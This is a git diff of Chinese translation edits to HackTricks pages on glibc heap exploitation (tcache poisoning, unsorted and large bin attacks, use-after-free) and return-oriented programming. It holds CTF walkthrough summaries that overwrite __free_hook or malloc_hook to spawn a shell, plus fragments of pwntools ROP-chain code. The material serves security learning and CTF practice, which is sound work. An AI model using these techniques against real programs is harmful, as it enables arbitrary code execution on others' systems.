|
||||
```c
|
||||
@ -44,13 +44,13 @@ fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_
|
||||
```
|
||||
这可以用来**覆盖libc的`global_max_fast`全局变量**,从而利用更大块的快速堆攻击。
|
||||
|
||||
您可以在[**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html)找到对该攻击的另一个很好的解释。
|
||||
你可以在[**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html)找到对这种攻击的另一个很好的解释。
|
||||
|
||||
### 其他示例
|
||||
|
||||
- [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
|
||||
- 在[**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c)中出现的相同情况的大型堆攻击。
|
||||
- 写入原语更复杂,因为`global_max_fast`在这里无用。
|
||||
- 写入原语更复杂,因为`global_max_fast`在这里是无用的。
|
||||
- 需要FSOP来完成利用。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -12,9 +12,9 @@ bins-and-memory-allocations.md
|
||||
|
||||
首先,请注意 Tcache 是在 Glibc 版本 2.26 中引入的。
|
||||
|
||||
**Tcache attack**(也称为 **Tcache poisoning**)在 [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) 中提出,与快速 bin 攻击非常相似,其目标是在已释放的 chunk 中覆盖指向下一个 chunk 的指针,以指向一个任意地址,以便后续可以**分配该特定地址并可能覆盖指针**。
|
||||
**Tcache attack**(也称为 **Tcache poisoning**)在 [**guyinatuxido 页面**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) 中提出,与快速 bin 攻击非常相似,其目标是在已释放的 chunk 中覆盖指向下一个 chunk 的指针,以指向一个任意地址,以便后续可以**分配该特定地址并可能覆盖指针**。
|
||||
|
||||
然而,如今,如果运行上述代码,您将收到错误:**`malloc(): unaligned tcache chunk detected`**。因此,需要在新指针中写入一个对齐的地址(或执行足够多次二进制文件,以便写入的地址实际上是对齐的)。
|
||||
然而,如今,如果您运行上述代码,您将收到错误:**`malloc(): unaligned tcache chunk detected`**。因此,需要在新指针中写入一个对齐的地址(或多次执行二进制文件,以便写入的地址实际上是对齐的)。
|
||||
|
||||
### Tcache indexes attack
|
||||
|
||||
@ -23,24 +23,24 @@ bins-and-memory-allocations.md
|
||||
## Examples
|
||||
|
||||
- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
|
||||
- **Libc info leak**:可以填充 tcaches,将一个 chunk 添加到未排序列表中,清空 tcache,然后**仅覆盖前 8B 从未排序 bin 中重新分配该 chunk**,使得**第二个地址保持不变,以便我们可以读取它**。
|
||||
- **Tcache attack**:该二进制文件易受 1B 堆溢出攻击。这将被滥用以更改已分配 chunk 的 **size header** 使其变大。然后,这个 chunk 将被 **释放**,将其添加到假大小的 tcache 中。接着,我们将分配一个假大小的 chunk,之前的 chunk 将被 **返回,知道这个 chunk 实际上更小**,这为**覆盖内存中的下一个 chunk**提供了机会。\
|
||||
我们将利用这一点**覆盖下一个 chunk 的 FD 指针**,使其指向 **`malloc_hook`**,然后可以分配 2 个指针:首先是我们刚刚修改的合法指针,然后第二次分配将返回一个在 **`malloc_hook`** 中的 chunk,可以利用它写入 **one gadget**。
|
||||
- **Libc info leak**:可以填充 tcaches,将一个 chunk 添加到未排序列表中,清空 tcache 并**仅覆盖前 8B 从未排序 bin 中重新分配 chunk**,使得**第二个地址到 libc 的 chunk 保持不变,以便我们可以读取它**。
|
||||
- **Tcache attack**:该二进制文件易受 1B 堆溢出攻击。这将被滥用以更改已分配 chunk 的 **size header** 使其变大。然后,这个 chunk 将被 **释放**,将其添加到假大小的 tcache 中。然后,我们将分配一个假大小的 chunk,之前的 chunk 将被 **返回,知道这个 chunk 实际上更小**,这为 **覆盖内存中的下一个 chunk** 提供了机会。\
|
||||
我们将利用这一点**覆盖下一个 chunk 的 FD 指针**,使其指向 **`malloc_hook`**,然后可以分配 2 个指针:首先是我们刚刚修改的合法指针,然后第二次分配将返回一个在 **`malloc_hook`** 中的 chunk,可以滥用以写入 **one gadget**。
|
||||
- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
|
||||
- **Libc info leak**:存在使用后释放和双重释放。在这篇文章中,作者通过读取放置在小 bin 中的 chunk 的地址泄露了 libc 的地址(就像从未排序 bin 中泄露,但来自小 bin)。
|
||||
- **Tcache attack**:通过 **双重释放** 执行 Tcache。相同的 chunk 被释放两次,因此在 Tcache 中,chunk 将指向自身。然后,它被分配,其 FD 指针被修改为指向 **free hook**,然后再次分配,因此列表中的下一个 chunk 将在 free hook 中。然后,这也被分配,可以在这里写入 `system` 的地址,因此当包含 `"/bin/sh"` 的 malloc 被释放时,我们获得一个 shell。
|
||||
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
|
||||
- 这里的主要漏洞是通过指示其偏移量来 `free` 堆中的任何地址的能力。
|
||||
- **Tcache indexes attack**:可以分配和释放一个大小的 chunk,当存储在 tcache chunk 中(包含 tcache bins 信息的 chunk)时,将生成一个 **值为 0x100 的地址**。这是因为 tcache 在不同字节中存储每个 bin 的 chunk 数量,因此一个特定索引中的 chunk 生成值 0x100。
|
||||
- **Tcache indexes attack**:可以分配和释放一个大小的 chunk,当存储在 tcache chunk 中(包含 tcache bins 信息的 chunk)时,将生成一个 **值为 0x100 的地址**。这是因为 tcache 在不同字节中存储每个 bin 中的 chunk 数量,因此一个特定索引中的 chunk 生成值 0x100。
|
||||
- 然后,这个值看起来像是一个大小为 0x100 的 chunk。允许通过 `free` 这个地址来滥用它。这将**将该地址添加到 tcache 中大小为 0x100 的 chunk 的索引**。
|
||||
- 然后,**分配**一个大小为 **0x100** 的 chunk,之前的地址将作为 chunk 返回,允许覆盖其他 tcache 索引。\
|
||||
例如,将 malloc hook 的地址放入其中一个索引中,并分配与该索引大小相同的 chunk 将获得一个在 calloc hook 中的 chunk,这允许写入一个 gadget 以获得 shell。
|
||||
- 然后,**分配**一个大小为 **0x100** 的 chunk,之前的地址将作为一个 chunk 返回,从而允许覆盖其他 tcache 索引。\
|
||||
例如,将 malloc hook 的地址放入其中一个索引中,并分配一个与该索引大小相同的 chunk 将获得一个在 calloc hook 中的 chunk,这允许写入一个 gadget 以获得 shell。
|
||||
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
|
||||
- 与之前相同的漏洞,但有一个额外的限制。
|
||||
- **Tcache indexes attack**:与之前类似的攻击,但通过 **释放包含 tcache 信息的 chunk** 来减少步骤,因此其地址被添加到其大小的 tcache 索引中,因此可以分配该大小并将 tcache chunk 信息作为 chunk 获取,这允许将 free hook 添加为一个索引的地址,分配它,并在其上写入一个 gadget。
|
||||
- **Tcache indexes attack**:与之前类似的攻击,但通过 **释放包含 tcache 信息的 chunk** 来减少步骤,因此其地址被添加到其大小的 tcache 索引中,因此可以分配该大小并将 tcache chunk 信息作为 chunk 获取,这允许将 free hook 作为一个索引的地址添加,分配它,并在其上写入一个 gadget。
|
||||
- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
|
||||
- **Write After Free** 以将数字添加到 `fd` 指针。
|
||||
- 在这个挑战中需要大量的 **heap feng-shui**。这篇文章展示了 **控制 Tcache** 空闲列表的头部是多么方便。
|
||||
- 在这个挑战中需要大量的 **heap feng-shui**。这篇文章展示了如何 **控制 Tcache** 的 free-list 的头部是非常方便的。
|
||||
- 通过 `stdout` 的 **Glibc leak**(FSOP)。
|
||||
- **Tcache poisoning** 以获得任意写入原语。
|
||||
|
||||
|
||||
@ -12,27 +12,27 @@ bins-and-memory-allocations.md
|
||||
|
||||
未排序列表能够将地址写入 `unsorted_chunks (av)` 的块的 `bk` 地址。因此,如果攻击者能够**修改未排序 bin 中块的 `bk` 指针的地址**,他就能够**将该地址写入任意地址**,这可能有助于泄露 Glibc 地址或绕过某些防御。
|
||||
|
||||
所以,基本上,这种攻击允许**在任意地址设置一个大数字**。这个大数字是一个地址,可能是堆地址或 Glibc 地址。一个典型的目标是**`global_max_fast`**,以允许创建更大尺寸的快速 bin(并从未排序 bin 攻击转到快速 bin 攻击)。
|
||||
因此,基本上,这种攻击允许**在任意地址设置一个大数字**。这个大数字是一个地址,可能是堆地址或 Glibc 地址。一个典型的目标是**`global_max_fast`**,以允许创建更大尺寸的快速 bin(并从未排序 bin 攻击转到快速 bin 攻击)。
|
||||
|
||||
> [!TIP]
|
||||
> 查看在 [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) 中提供的示例,并使用 0x4000 和 0x5000 代替 0x400 和 0x500 作为块大小(以避免 Tcache),可以看到**如今**错误**`malloc(): unsorted double linked list corrupted`**被触发。
|
||||
> T> 查看在 [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) 中提供的示例,并使用 0x4000 和 0x5000 代替 0x400 和 0x500 作为块大小(以避免 Tcache),可以看到**如今**错误**`malloc(): unsorted double linked list corrupted`**被触发。
|
||||
>
|
||||
> 因此,这种未排序 bin 攻击现在(除了其他检查)还需要能够修复双向链表,以便绕过 `victim->bk->fd == victim` 或 `victim->fd == av (arena)`,这意味着我们想要写入的地址必须在其 `fd` 位置具有假块的地址,并且假块的 `fd` 指向 arena。
|
||||
> 因此,这种未排序 bin 攻击现在(除了其他检查)还要求能够修复双向链表,以便绕过 `victim->bk->fd == victim` 或 `victim->fd == av (arena)`,这意味着我们想要写入的地址必须在其 `fd` 位置具有假块的地址,并且假块的 `fd` 指向 arena。
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,这种攻击会破坏未排序 bin(因此小和大也会)。所以我们现在只能**使用快速 bin 的分配**(更复杂的程序可能会进行其他分配并崩溃),并且要触发这一点,我们必须**分配相同的大小,否则程序将崩溃。**
|
||||
> 请注意,这种攻击会破坏未排序 bin(因此小和大也会)。因此,我们现在只能**使用来自快速 bin 的分配**(更复杂的程序可能会进行其他分配并崩溃),并且要触发这一点,我们必须**分配相同的大小,否则程序将崩溃。**
|
||||
>
|
||||
> 请注意,覆盖**`global_max_fast`**可能在这种情况下有所帮助,信任快速 bin 能够处理所有其他分配,直到利用完成。
|
||||
> 请注意,覆盖**`global_max_fast`**可能在这种情况下有所帮助,前提是快速 bin 能够处理所有其他分配,直到利用完成。
|
||||
|
||||
来自 [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) 的代码解释得很好,尽管如果你修改 malloc 以分配足够大的内存以避免 Tcache,你会看到之前提到的错误出现,阻止这种技术:**`malloc(): unsorted double linked list corrupted`**
|
||||
来自 [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) 的代码解释得很好,尽管如果您修改 malloc 以分配足够大的内存以避免 Tcache,您会看到之前提到的错误出现,阻止此技术:**`malloc(): unsorted double linked list corrupted`**
|
||||
|
||||
## Unsorted Bin Infoleak Attack
|
||||
|
||||
这实际上是一个非常基本的概念。未排序 bin 中的块将具有指针。未排序 bin 中的第一个块实际上将具有**`fd`**和**`bk`**链接**指向主 arena(Glibc)的一部分**。\
|
||||
因此,如果你能够**将一个块放入未排序 bin 并读取它**(使用后释放)或**再次分配它而不覆盖至少 1 个指针**,然后**读取**它,你就可以获得**Glibc 信息泄露**。
|
||||
因此,如果您能够**将一个块放入未排序 bin 并读取它**(使用后释放)或**在不覆盖至少 1 个指针的情况下再次分配它**,然后**读取**它,您就可以获得**Glibc 信息泄露**。
|
||||
|
||||
在这个 [**写作中使用的类似攻击**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)中,利用了一个 4 块结构(A、B、C 和 D - D 仅用于防止与顶部块合并),因此在 B 中使用了一个空字节溢出,使 C 表示 B 未使用。此外,在 B 中修改了 `prev_size` 数据,因此大小不是 B 的大小,而是 A+B。\
|
||||
然后 C 被释放,并与 A+B 合并(但 B 仍在使用中)。分配了一个大小为 A 的新块,然后将泄露的 libc 地址写入 B,从而泄露了它们。
|
||||
在此 [**写作中使用的类似攻击**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)中,利用了一个 4 块结构(A、B、C 和 D - D 仅用于防止与顶部块合并),因此在 B 中使用了一个空字节溢出,使 C 指示 B 未使用。此外,在 B 中修改了 `prev_size` 数据,因此大小不再是 B 的大小,而是 A+B。\
|
||||
然后 C 被释放,并与 A+B 合并(但 B 仍在使用中)。分配了一个大小为 A 的新块,然后将泄露的 libc 地址写入 B,从中泄露了它们。
|
||||
|
||||
## References & Other examples
|
||||
|
||||
@ -43,11 +43,11 @@ bins-and-memory-allocations.md
|
||||
- 然后,chunk1 被释放,chunk0 被溢出到 chunk1 的 `bk` 指针指向:`bk = magic - 0x10`
|
||||
- 然后,分配一个与 chunk1 相同大小的 chunk3,这将触发未排序 bin 攻击并修改全局变量的值,从而使获取标志成为可能。
|
||||
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
|
||||
- 合并函数是脆弱的,因为如果传递的两个索引相同,它将重新分配并释放它,但返回一个指向该释放区域的指针,可以使用。
|
||||
- 因此,**创建了 2 个块**:**chunk0** 将与自身合并,chunk1 以防止与顶部块合并。然后,**合并函数被调用两次与 chunk0**,这将导致使用后释放。
|
||||
- 合并函数是脆弱的,因为如果传递的两个索引相同,它将重新分配并释放它,但返回指向该释放区域的指针,可以使用。
|
||||
- 因此,**创建了 2 个块**:**chunk0** 将与自身合并,chunk1 以防止与顶部块合并。然后,**合并函数被调用两次**,这将导致使用后释放。
|
||||
- 然后,**`view`** 函数被调用,索引为 2(即使用后释放块的索引),这将**泄露一个 libc 地址**。
|
||||
- 由于二进制文件具有保护措施,仅允许 malloc 大于 **`global_max_fast`** 的大小,因此不使用快速 bin,将使用未排序 bin 攻击来覆盖全局变量 `global_max_fast`。
|
||||
- 然后,可以调用编辑函数,索引为 2(使用后释放指针),并覆盖 `bk` 指针以指向 `p64(global_max_fast-0x10)`。然后,创建一个新块将使用之前被破坏的释放地址(0x20),将**触发未排序 bin 攻击**,覆盖 `global_max_fast`,这是一个非常大的值,现在允许在快速 bin 中创建块。
|
||||
- 然后,可以调用编辑函数,索引为 2(使用后释放指针),并覆盖 `bk` 指针以指向 `p64(global_max_fast-0x10)`。然后,创建一个新块将使用之前被破坏的释放地址(0x20),将**触发未排序 bin 攻击**,覆盖 `global_max_fast`,这是一个非常大的值,现在允许在快速 bins 中创建块。
|
||||
- 现在执行**快速 bin 攻击**:
|
||||
- 首先发现可以在**`__free_hook`**位置处理大小为 200 的快速**块**:
|
||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
@ -58,16 +58,16 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
- 如果我们设法在此位置获得大小为 0x200 的快速块,将能够覆盖将被执行的函数指针。
|
||||
- 为此,创建一个大小为 `0xfc` 的新块,并调用合并函数两次使用该指针,这样我们就获得了一个指向大小为 `0xfc*2 = 0x1f8` 的释放块的指针,在快速 bin 中。
|
||||
- 如果我们设法在此位置获得大小为 0x200 的快速块,则可以覆盖将被执行的函数指针。
|
||||
- 为此,创建一个大小为 `0xfc` 的新块,并调用合并函数两次,借此我们获得指向大小为 `0xfc*2 = 0x1f8` 的释放块的指针,在快速 bin 中。
|
||||
- 然后,在此块中调用编辑函数以修改此快速 bin 的**`fd`**地址,使其指向之前的**`__free_hook`**函数。
|
||||
- 然后,创建一个大小为 `0x1f8` 的块,以从快速 bin 中检索之前无用的块,因此创建另一个大小为 `0x1f8` 的块以获取**`__free_hook`**中的快速 bin 块,该块被覆盖为**`system`**函数的地址。
|
||||
- 然后,创建一个大小为 `0x1f8` 的块,以从快速 bin 中检索之前无用的块,因此创建另一个大小为 `0x1f8` 的块,以获取在**`__free_hook`**中获取的快速 bin 块,该块被覆盖为**`system`** 函数的地址。
|
||||
- 最后,释放一个包含字符串 `/bin/sh\x00` 的块,调用删除函数,触发**`__free_hook`**函数,该函数指向 system,参数为 `/bin/sh\x00`。
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
|
||||
- 另一个利用 1B 溢出合并未排序 bin 中的块并获取 libc 信息泄露的示例,然后执行快速 bin 攻击以用一个 gadget 地址覆盖 malloc hook。
|
||||
- 另一个示例是利用 1B 溢出以合并未排序 bin 中的块并获取 libc 信息泄露,然后执行快速 bin 攻击以用一个 gadget 地址覆盖 malloc hook。
|
||||
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||
- 我们只能分配大于 `0x100` 的块。
|
||||
- 使用未排序 bin 攻击覆盖 `global_max_fast`(由于 ASLR,成功率为 1/16,因为我们需要修改 12 位,但必须修改 16 位)。
|
||||
- 快速 bin 攻击以修改全局块数组。这提供了一个任意读/写原语,允许修改 GOT 并设置某些函数指向 `system`。
|
||||
- 快速 bin 攻击以修改全局块数组。这提供了一个任意读/写原语,允许修改 GOT 并将某些函数指向 `system`。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本信息
|
||||
## Basic Information
|
||||
|
||||
顾名思义,这种漏洞发生在程序**为一个对象在堆中分配了一些空间**,**在其中写入**一些信息,**释放**它显然是因为不再需要,然后**再次访问**它。
|
||||
顾名思义,这种漏洞发生在程序**为一个对象在堆中分配了一些空间**,**写入**一些信息,然后**释放**它,显然是因为不再需要它,接着**再次访问**它。
|
||||
|
||||
这里的问题是,访问**已释放的内存**并不是非法的(**不会出现错误**)。因此,如果程序(或攻击者)设法**分配已释放的内存并存储任意数据**,当从初始指针访问已释放的内存时,**数据将被覆盖**,导致一个**漏洞,这将取决于原始存储数据的敏感性**(如果它是一个即将被调用的函数的指针,攻击者可能会控制它)。
|
||||
|
||||
### First Fit 攻击
|
||||
### First Fit attack
|
||||
|
||||
First fit 攻击针对一些内存分配器(如 glibc)管理已释放内存的方式。当你释放一块内存时,它会被添加到一个列表中,新的内存请求从列表的末尾提取。攻击者可以利用这种行为来操纵**哪些内存块被重用,从而可能控制它们**。这可能导致“use-after-free”问题,攻击者可以**更改被重新分配的内存的内容**,从而造成安全风险。\
|
||||
First fit攻击针对一些内存分配器(如glibc)管理已释放内存的方式。当你释放一块内存时,它会被添加到一个列表中,新的内存请求从列表的末尾提取。攻击者可以利用这种行为来操控**哪些内存块被重用,从而可能获得对它们的控制**。这可能导致“use-after-free”问题,攻击者可以**更改重新分配的内存内容**,造成安全风险。\
|
||||
查看更多信息:
|
||||
|
||||
{{#ref}}
|
||||
|
||||
@ -4,13 +4,13 @@
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**返回导向编程 (ROP)** 是一种高级利用技术,用于绕过 **无执行 (NX)** 或 **数据执行防护 (DEP)** 等安全措施。攻击者利用二进制文件或已加载库中已经存在的代码片段,称为 **"gadgets"**,而不是注入和执行 shellcode。每个 gadget 通常以 `ret` 指令结束,并执行小的操作,例如在寄存器之间移动数据或执行算术运算。通过将这些 gadgets 链接在一起,攻击者可以构造一个有效的有效负载,以执行任意操作,从而有效绕过 NX/DEP 保护。
|
||||
**返回导向编程 (ROP)** 是一种高级利用技术,用于绕过 **不可执行 (NX)** 或 **数据执行防护 (DEP)** 等安全措施。攻击者不再注入和执行 shellcode,而是利用二进制文件或已加载库中已经存在的代码片段,称为 **"gadgets"**。每个 gadget 通常以 `ret` 指令结束,并执行小的操作,例如在寄存器之间移动数据或执行算术运算。通过将这些 gadgets 链接在一起,攻击者可以构造一个有效的有效负载,以执行任意操作,从而有效绕过 NX/DEP 保护。
|
||||
|
||||
### ROP 的工作原理
|
||||
|
||||
1. **控制流劫持**:首先,攻击者需要劫持程序的控制流,通常通过利用缓冲区溢出来覆盖栈上的保存返回地址。
|
||||
2. **Gadget 链接**:攻击者然后仔细选择并链接 gadgets 以执行所需的操作。这可能涉及设置函数调用的参数、调用函数(例如 `system("/bin/sh")`)以及处理任何必要的清理或附加操作。
|
||||
3. **有效负载执行**:当易受攻击的函数返回时,而不是返回到合法位置,它开始执行 gadget 链。
|
||||
2. **Gadget 链接**:攻击者然后仔细选择并链接 gadgets 以执行所需的操作。这可能涉及为函数调用设置参数,调用函数(例如 `system("/bin/sh")`),并处理任何必要的清理或附加操作。
|
||||
3. **有效负载执行**:当易受攻击的函数返回时,而不是返回到合法位置,它开始执行 gadgets 链。
|
||||
|
||||
### 工具
|
||||
|
||||
@ -27,16 +27,16 @@
|
||||
|
||||
首先,假设我们已经在二进制文件或其加载的库中识别了必要的 gadgets。我们感兴趣的 gadgets 包括:
|
||||
|
||||
- `pop eax; ret`:此 gadget 将栈顶值弹出到 `EAX` 寄存器中,然后返回,允许我们控制 `EAX`。
|
||||
- `pop ebx; ret`:与上述类似,但针对 `EBX` 寄存器,使我们能够控制 `EBX`。
|
||||
- `pop eax; ret`:这个 gadget 将栈顶的值弹出到 `EAX` 寄存器中,然后返回,允许我们控制 `EAX`。
|
||||
- `pop ebx; ret`:与上述类似,但用于 `EBX` 寄存器,使我们能够控制 `EBX`。
|
||||
- `mov [ebx], eax; ret`:将 `EAX` 中的值移动到 `EBX` 指向的内存位置,然后返回。这通常被称为 **write-what-where gadget**。
|
||||
- 此外,我们还有 `system()` 函数的地址可用。
|
||||
|
||||
### **ROP 链**
|
||||
|
||||
使用 **pwntools**,我们准备栈以执行 ROP 链,目标是执行 `system('/bin/sh')`,注意链的开始:
|
||||
使用 **pwntools**,我们准备栈以执行 ROP 链,目标是执行 `system('/bin/sh')`,注意链的开始部分:
|
||||
|
||||
1. 用于对齐目的的 `ret` 指令(可选)
|
||||
1. 为对齐目的的 `ret` 指令(可选)
|
||||
2. `system` 函数的地址(假设 ASLR 被禁用且已知 libc,更多信息见 [**Ret2lib**](ret2lib/index.html))
|
||||
3. `system()` 的返回地址占位符
|
||||
4. `"/bin/sh"` 字符串地址(system 函数的参数)
|
||||
@ -73,9 +73,9 @@ payload = fit({offset: rop_chain})
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
## ROP Chain in x64 Example
|
||||
## ROP Chain in x64 示例
|
||||
|
||||
### **x64 (64-bit) 调用约定**
|
||||
### **x64 (64位) 调用约定**
|
||||
|
||||
- 在类Unix系统上使用 **System V AMD64 ABI** 调用约定,其中 **前六个整数或指针参数通过寄存器 `RDI`, `RSI`, `RDX`, `RCX`, `R8` 和 `R9` 传递**。额外的参数通过栈传递。返回值放在 `RAX` 中。
|
||||
- **Windows x64** 调用约定使用 `RCX`, `RDX`, `R8` 和 `R9` 作为前四个整数或指针参数,额外的参数通过栈传递。返回值放在 `RAX` 中。
|
||||
@ -85,14 +85,14 @@ p.interactive()
|
||||
|
||||
为了我们的目的,让我们专注于可以让我们设置 **RDI** 寄存器(将 **"/bin/sh"** 字符串作为参数传递给 **system()**)并调用 **system()** 函数的小工具。我们假设我们已经识别出以下小工具:
|
||||
|
||||
- **pop rdi; ret**: 将栈顶值弹出到 **RDI** 中,然后返回。对于设置 **system()** 的参数至关重要。
|
||||
- **ret**: 一个简单的返回,在某些场景中对栈对齐很有用。
|
||||
- **pop rdi; ret**:将栈顶值弹出到 **RDI** 中,然后返回。对于设置 **system()** 的参数至关重要。
|
||||
- **ret**:一个简单的返回,在某些场景中对栈对齐有用。
|
||||
|
||||
我们知道 **system()** 函数的地址。
|
||||
|
||||
### **ROP Chain**
|
||||
### **ROP 链**
|
||||
|
||||
下面是一个使用 **pwntools** 设置和执行 ROP 链的示例,旨在执行 **system('/bin/sh')** 在 **x64** 上:
|
||||
下面是一个使用 **pwntools** 设置和执行 ROP 链的示例,目标是执行 **system('/bin/sh')** 在 **x64** 上:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -135,12 +135,12 @@ p.interactive()
|
||||
|
||||
### 栈对齐
|
||||
|
||||
**x86-64 ABI** 确保在执行 **call instruction** 时 **栈是16字节对齐** 的。**LIBC** 为了优化性能,**使用 SSE 指令**(如 **movaps**),这需要这种对齐。如果栈没有正确对齐(意味着 **RSP** 不是16的倍数),对像 **system** 这样的函数的调用将在 **ROP chain** 中失败。要解决此问题,只需在调用 **system** 之前在 ROP chain 中添加一个 **ret gadget**。
|
||||
**x86-64 ABI** 确保在执行 **call instruction** 时 **栈是16字节对齐**。**LIBC** 为了优化性能,**使用 SSE instructions**(如 **movaps**),这要求这种对齐。如果栈没有正确对齐(意味着 **RSP** 不是16的倍数),对 **system** 等函数的调用将在 **ROP chain** 中失败。要解决此问题,只需在调用 **system** 之前在 ROP chain 中添加一个 **ret gadget**。
|
||||
|
||||
## x86 与 x64 的主要区别
|
||||
|
||||
> [!TIP]
|
||||
> 由于 **x64 使用寄存器处理前几个参数,** 它通常需要比 x86 更少的 gadgets 来进行简单的函数调用,但由于寄存器数量的增加和地址空间的扩大,找到和链接正确的 gadgets 可能会更复杂。**x64** 架构中寄存器数量的增加和地址空间的扩大为漏洞开发提供了机遇和挑战,特别是在返回导向编程(ROP)的背景下。
|
||||
> 由于 **x64 使用寄存器处理前几个参数,** 它通常需要比 x86 更少的 gadgets 进行简单的函数调用,但由于寄存器数量增加和地址空间更大,找到和链接正确的 gadgets 可能更复杂。**x64** 架构中寄存器数量的增加和地址空间的扩大为漏洞开发提供了机遇和挑战,特别是在返回导向编程(ROP)的背景下。
|
||||
|
||||
## ARM64 示例中的 ROP chain
|
||||
|
||||
@ -152,17 +152,17 @@ p.interactive()
|
||||
../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
## 针对 ROP 的保护措施
|
||||
## 针对 ROP 的保护
|
||||
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html):这些保护措施使得 ROP 的使用变得更加困难,因为 gadgets 的地址在执行之间会发生变化。
|
||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html):在发生 BOF 时,需要绕过存储的栈金丝雀以覆盖返回指针,从而滥用 ROP chain。
|
||||
- **缺乏 Gadgets**:如果没有足够的 gadgets,就无法生成 ROP chain。
|
||||
- **缺乏 Gadgets**:如果没有足够的 gadgets,将无法生成 ROP chain。
|
||||
|
||||
## 基于 ROP 的技术
|
||||
|
||||
请注意,ROP 只是执行任意代码的一种技术。基于 ROP 开发了许多 Ret2XXX 技术:
|
||||
|
||||
- **Ret2lib**:使用 ROP 从加载的库中调用任意函数,带有任意参数(通常是类似 `system('/bin/sh')` 的东西)。
|
||||
- **Ret2lib**:使用 ROP 从加载的库中调用任意函数,带有任意参数(通常类似于 `system('/bin/sh')`)。
|
||||
|
||||
{{#ref}}
|
||||
ret2lib/
|
||||
@ -184,7 +184,7 @@ rop-syscall-execv/
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
|
||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
|
||||
- 64 位,启用 Pie 和 nx,无金丝雀,用 `vsyscall` 地址覆盖 RIP,唯一目的是返回栈中的下一个地址,这将是对地址的部分覆盖,以获取泄漏标志的函数部分
|
||||
- 64 位,启用 Pie 和 nx,无金丝雀,使用 `vsyscall` 地址覆盖 RIP,唯一目的是返回栈中的下一个地址,该地址将是部分覆盖以获取泄漏标志的函数部分
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64,无 ASLR,ROP gadget 使栈可执行并跳转到栈中的 shellcode
|
||||
|
||||
|
||||
@ -10,11 +10,11 @@
|
||||
|
||||
当一个程序使用某些库(如 libc)时,它有一些内置函数来管理程序不同部分之间的通信。在这些函数中,有一些隐藏的宝石可以作为我们缺失的 gadgets,特别是一个叫 `__libc_csu_init` 的函数。
|
||||
|
||||
### \_\_libc_csu_init 中的魔法 gadgets
|
||||
### \_\_libc_csu_init 中的魔法 Gadgets
|
||||
|
||||
